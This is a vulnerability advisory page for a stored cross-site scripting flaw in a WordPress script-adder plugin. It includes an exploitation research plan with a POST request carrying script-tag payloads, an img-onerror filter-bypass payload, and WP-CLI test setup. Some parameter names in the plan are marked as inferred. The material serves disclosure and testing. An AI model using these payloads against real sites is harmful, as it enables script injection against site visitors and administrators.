Header Footer Script Adder – Insert Code in Header, Body & Footer <= 2.0.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Header Footer Script Adder – Insert Code in Header, Body & Footer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the script adder present in posts in all versions up to, and including, 2.0.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.0.5Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-12109 (Stored XSS) ## 1. Vulnerability Summary The **Header Footer Script Adder** plugin (<= 2.0.5) allows users to add custom scripts to the `<head>`, `<body>`, and footer sections of individual posts and pages. The vulnerability is a **Stored Cross-Site Scri…
Show full research plan
Exploitation Research Plan: CVE-2025-12109 (Stored XSS)
1. Vulnerability Summary
The Header Footer Script Adder plugin (<= 2.0.5) allows users to add custom scripts to the <head>, <body>, and footer sections of individual posts and pages. The vulnerability is a Stored Cross-Site Scripting (XSS) issue. It occurs because the plugin fails to sufficiently sanitize the script code provided by users (specifically those with Contributor-level access and above) before storing it in the database and fails to escape it when rendering it on the frontend. While the plugin is designed to add scripts, it does not restrict this capability to users with the unfiltered_html capability, allowing lower-privileged users to inject malicious JavaScript.
2. Attack Vector Analysis
- Vulnerable Endpoint: WordPress Post/Page Editor (Admin UI) or the
save_posthook handler. - Vulnerable Parameters: The input fields within the plugin's meta box on the post edit screen (likely named
hfsa_header_code,hfsa_body_code, andhfsa_footer_code— inferred). - Required Authentication: Contributor-level access or higher.
- Preconditions: The plugin must be active, and the attacker must be able to edit a post or create a new one.
3. Code Flow (Inferred)
- Entry Point: A user with Contributor+ privileges edits a post. The plugin registers a Meta Box using
add_meta_boxeswhich displays textareas for header/footer scripts. - Data Storage: When the post is saved, a function hooked to
save_post(e.g.,hfsa_save_meta_box_data) retrieves the content of the textareas from the$_POSTsuperglobal. - The Sink (Storage): The code calls
update_post_meta($post_id, 'hfsa_header_code', $_POST['hfsa_header_code'])without usingwp_ksesor similar sanitization. - Rendering: On the frontend, the plugin hooks into
wp_head,wp_body_open, andwp_footer. - The Sink (Output): The handler functions (e.g.,
hfsa_header_script_output) callget_post_metaandechothe result directly to the page withoutesc_js()orwp_kses().
4. Nonce Acquisition Strategy
To save post meta, the WordPress post editor uses the standard _wpnonce and samplepermalinknonce. However, plugins often include their own nonce inside the meta box for security.
- Identify the Variable: Search the post editor's HTML for a hidden input field within the "Header Footer Script Adder" meta box (e.g.,
name="hfsa_meta_box_nonce"— inferred). - Creation: Use WP-CLI to create a dummy post for the Contributor.
wp post create --post_type=post --post_status=draft --post_author=[CONTRIBUTOR_ID] --post_title="XSS Test" - Extraction:
- Log in as the Contributor.
- Navigate to the edit page for the newly created post:
/wp-admin/post.php?post=[POST_ID]&action=edit. - Use
browser_evalto extract the nonce:// Example for a typical plugin meta box nonce document.querySelector('input[name*="hfsa_nonce"]')?.value;
5. Exploitation Strategy
The goal is to inject a payload that executes when any user (especially an Administrator) views the affected post.
Step-by-Step:
Authentication: Authenticate as a Contributor user and capture session cookies.
Post Editing: Identify an existing post ID or create a new one.
HTTP Request (The Exploit):
Send a POST request to/wp-admin/post.phpto update the post meta.- Method:
POST - URL:
http://[TARGET]/wp-admin/post.php - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[CORE_POST_NONCE]hfsa_header_code:<script>alert("XSS_HEADER")</script>(inferred)hfsa_footer_code:<script>alert("XSS_FOOTER")</script>(inferred)
- Method:
Trigger: Navigate to the frontend URL of the post.
6. Test Data Setup
- Install Plugin:
wp plugin install header-and-footer-script-adder --version=2.0.5 --activate - Create User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Create Post:
wp post create --post_type=post --post_status=publish --post_author=attacker --post_title="Vulnerable Post"
7. Expected Results
- The POST request should return a
302redirect back to the post editor. - Viewing the post on the frontend should trigger one or more alert boxes showing
XSS_HEADERorXSS_FOOTER. - The page source should contain the raw
<script>tags inside the<head>or before the</body>tag.
8. Verification Steps
- Database Check: Use WP-CLI to verify the payload is stored in the meta-table.
wp post meta list [POST_ID] --keys=hfsa_header_code,hfsa_footer_code - Frontend Inspection:
# Using the http_request tool # Check if the payload exists in the response body unescaped grep -q '<script>alert("XSS_HEADER")</script>' [RESPONSE_FILE]
9. Alternative Approaches
- Body Insertion: If the plugin uses the
wp_body_openhook, test if the payload executes immediately after the opening<body>tag. - Bypass
unfiltered_html: If the plugin attempts to check forunfiltered_html, verify if the check is implemented correctly on thesave_posthook. Often, plugins forget to check capabilities during the AJAX autosave or meta-saving process. - Payload Variation: Use an
<img>tag withonerrorto bypass basic keyword filters if any exist.- Payload:
<img src=x onerror=alert(document.domain)>
- Payload:
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.